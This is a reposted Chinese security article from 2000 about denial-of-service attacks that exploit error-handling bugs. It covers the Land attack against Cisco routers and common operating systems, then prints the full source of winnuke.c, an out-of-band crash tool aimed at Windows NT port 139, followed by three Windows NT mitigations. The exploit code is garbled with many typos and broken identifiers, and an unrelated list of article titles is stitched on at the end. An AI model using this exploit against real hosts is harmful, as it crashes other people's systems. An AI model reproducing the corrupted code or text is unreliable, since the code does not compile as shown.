创建时间:2000-06-03
文章属性:转载
文章来源:红色力量
文章提交:xundi (xundi_at_xfocus.org)

从红色力量中转载--见我们的连接
利用处理程序错误攻击(下)

3 Land攻击工具

Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行
攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应,
tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述:

“当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外
部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择
只有来一个硬重启动。“

可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。

更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的
操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。

更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口
的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可
以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有
打过“补丁”,对自己的系统打“补丁”确实是当务之急。

4 OOB攻击工具

5.1 攻击代码

OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的
安全性。

/* winnuke.c – (05/07/97) BY –ECI */

/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */

#include
#include
#include
#include
#include
#include
#include
#define dport 139 /*Attack port; 139 is what we want */

int x,s;

char str =”Bye”; /Makes no diff */

struct sockaddr-in addr, spoofedaddr;

atruct hostent *host;

int opdn-sock(int scok, char *server,int port) {

struct sockaddr-in blah;

struct hostent *he;

bzero ((char*) &blah,sizeof(blah));

blah.sin-family=AF-INET;

blah.sin-addr.s-addf=inet-addf(server);

blah.sin-port=htons(port);

if((he=gethostbyname(server)) ! =NULLL) {

bcopy(he->addr,(char*)&blah.sin-addr,he->h-length);

}

else {

if ((blah.sin-addr =inet-addr (server)) <0) {

return(-3);

}

}

if (connect (sock,(struct sockaddr *)&blah,16)==-1) {

perror(“cinnect()”);

close(sock);

retuen(-4);

}

void main (int argc,char *argv[]) {

if (argc !=2) {

printf(“Usage: %s
exit(0);

}

if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {

PERROR (“socket()”);

Exyt(-1);

}

open-sock(s,argv[1],dport);

printf(“Sending crash …”);

send (s, str, atrldn (str),MSG-OOB);

usleep (100000);

printf(“Done!\n”);

close(s);

}

10.5.2 一些临时措施

目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,
第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。

方法一:

1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。

2. 打开[显示绑定属于]列表,选择[所有适配器]。

3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。

4. 单击[禁用]按钮。

5. 确认后,重新启动系统。

需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。
这是正常的,而且每次启动时都会有。

方法二:

1. 进入[控制面板],找到[设备]图标。

2. 到列表的底部,找到[WINS客户(TCP/IP)]。

3. 单击[停止]按钮,然后单击[关闭]按钮。

4. 重启系统。

这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。
所以要与系统管理员联系,以决定这样做是否必要

方法三:

Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包
进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。

1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。

2. 在IP地址表中,选择[高级]按扭。

3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。

4. 单击[确定],然后退出,重启动系统。

转载于:https://www.cnblogs.com/Leejia/archive/2007/05/09/739999.html

[转]利用处理程序错误攻击(下)相关推荐

  1. 利用处理程序错误***(下)

    3 Land***工具 Land也是一个很厉害的***工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行 ***,路由器再也不能连到本地网上或域网外部.前面面板上的灯也停止了闪 ...

  2. [译] APT分析报告:04.Kraken - 新型无文件APT攻击利用Windows错误报告服务逃避检测

    这是作者新开的一个专栏,主要翻译国外知名的安全厂商APT报告文章,了解它们的安全技术,学习它们溯源APT组织的方法,希望对您有所帮助.前文分享了APT组织Fin7 / Carbanak的Tirion恶 ...

  3. 【AWS 安全系列】Amazon S3 配置错误(下)

    [AWS 安全系列]Amazon S3 配置错误(下) [AWS 安全系列]Amazon S3 配置错误(下) 1. 怎样发现存储桶? a. 使用 aws cli 工具 b. 查看网站的HTTP 响应 ...

  4. OpenShift Security (13) - 利用Log4j漏洞攻击容器

    <OpenShift 4.x HOL教程汇总> 演示视频 利用 Log4j 漏洞攻击容器需要有2个条件,1)Java应用中包含受到漏洞影响的Log4j.2)带有"JNDI 注入& ...

  5. 利用蜜罐捕捉攻击实验(31)

    预备知识 1.蜜罐的含义和作用 蜜罐(Honeypot)是一种在互联网上运行的计算机系统.它是专门为吸引并诱骗那些试图非法闯入他人计算机系统的人(如电脑黑客)而设计的,蜜罐系统是一个包含漏洞的诱骗系统 ...

  6. python学习笔记29(利用pycharm在windows下出现闪退以及turtle 入门)

    1.利用pycharm在windows下出现闪退 昨天下午去图书馆抱回来三大本学习python的书籍,准备进修一下python程序设计,正好课本里面有关于图形化程序设计的章节,但是这个我之前没接触过, ...

  7. 游戏中的心理学:利用归因错误让玩家更爱你的游戏

    游戏中的心理学:利用归因错误让玩家更爱你的游戏 发布于:2014-03-25 11:10阅读数:651 什么是基本归因错误? 在本文开始之前,先让我们来思考一个问题:当你在玩一个闯关游戏的时候失败了, ...

  8. 利用Bookworm木马攻击泰国政府

    virustracker · 2015/12/14 12:34 researchcenter.paloaltonetworks.com/2015/11/att-> 0x00 前言 Unit42近 ...

  9. 怎样利用超图客户端打点_渗透测试——XSS利用工具BeEF攻击演示

    跨站脚本漏洞(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.窃取密码.传播恶意代码等攻击.XSS攻击使用到的技术主要为HTML和Javasc ...

  10. 利用多线程实现linux下C语言的聊天室程序:

    转载:http://www.360doc.com/content/16/0421/11/478627_552531090.shtml 利用多线程实现linux下C语言的聊天室程序: 客户端代码: th ...

最新文章

  1. 我的微软最有价值专家(Microsoft MVP)之路
  2. 重新定位svn地址的方法(windows和linux),svn switch(sw)的帮助信息
  3. 【Android 安装包优化】使用 lib7zr.so 动态库处理压缩文件 ( 拷贝 lib7zr.so 动态库到 Android Studio 工程 | 配置 build.gradle 构建脚本 )
  4. linux 系统tar文件压缩打包命令
  5. uos系统不激活能用吗_国产统一操作系统UOS真的能代替window系统吗? UOS上手体验...
  6. 手机版python3.6.6的requests库下载_Python爬虫之Python3.6 Requests库的基本使用方法
  7. SQLAlchemy Script
  8. 谷歌推出量子机器学习框架TFQ-TensorFlow Quantum,一个可训练量子模型的机器学习框架...
  9. JQuery 各节点获取函数:父节点,子节点,兄弟节点
  10. mysql_fetch_array()/ mysql_fetch_assoc()/ mysql_fetch_row()/ mysql_num_rows等…期望参数1为资源或结果
  11. 我想创业,但不懂技术怎么办
  12. 打开TestFlight并链接到具体的应用下载界面
  13. Linux安装virgo
  14. 机器学习中的多分类任务详解
  15. 阿里云:工厂车间是一个广阔的天地,在那里大有作为
  16. 关于laravel 使用__call,__callStatic实现静态,动态方法互相调用
  17. 流程二备选方案及评估
  18. 机器学习模型 非线性模型_pycaret在几分钟内准备好您的机器学习模型
  19. python搭建qt开发环境_QT开发环境搭建(Windows)
  20. aso标题关键词可以重复吗

热门文章

  1. 企业网络管理员如何有效封杀QQ
  2. Thrift java.net.SocketException: Broken pipe问题分析定位
  3. neo4j安装与示例
  4. 微信小程序如何去掉button边框
  5. GitHub 40000星!收下这份宇宙最强「程序员装备指南」
  6. 如何确保分布式场景下的并发幂等性?
  7. Java 8 Stream 闪亮登场!
  8. 推荐:Windows平台上三款提高工作效率的免费神器!
  9. 互联网公司这一年,我被迫知道了这些内幕和秘密...
  10. MySQL 高性能表设计规范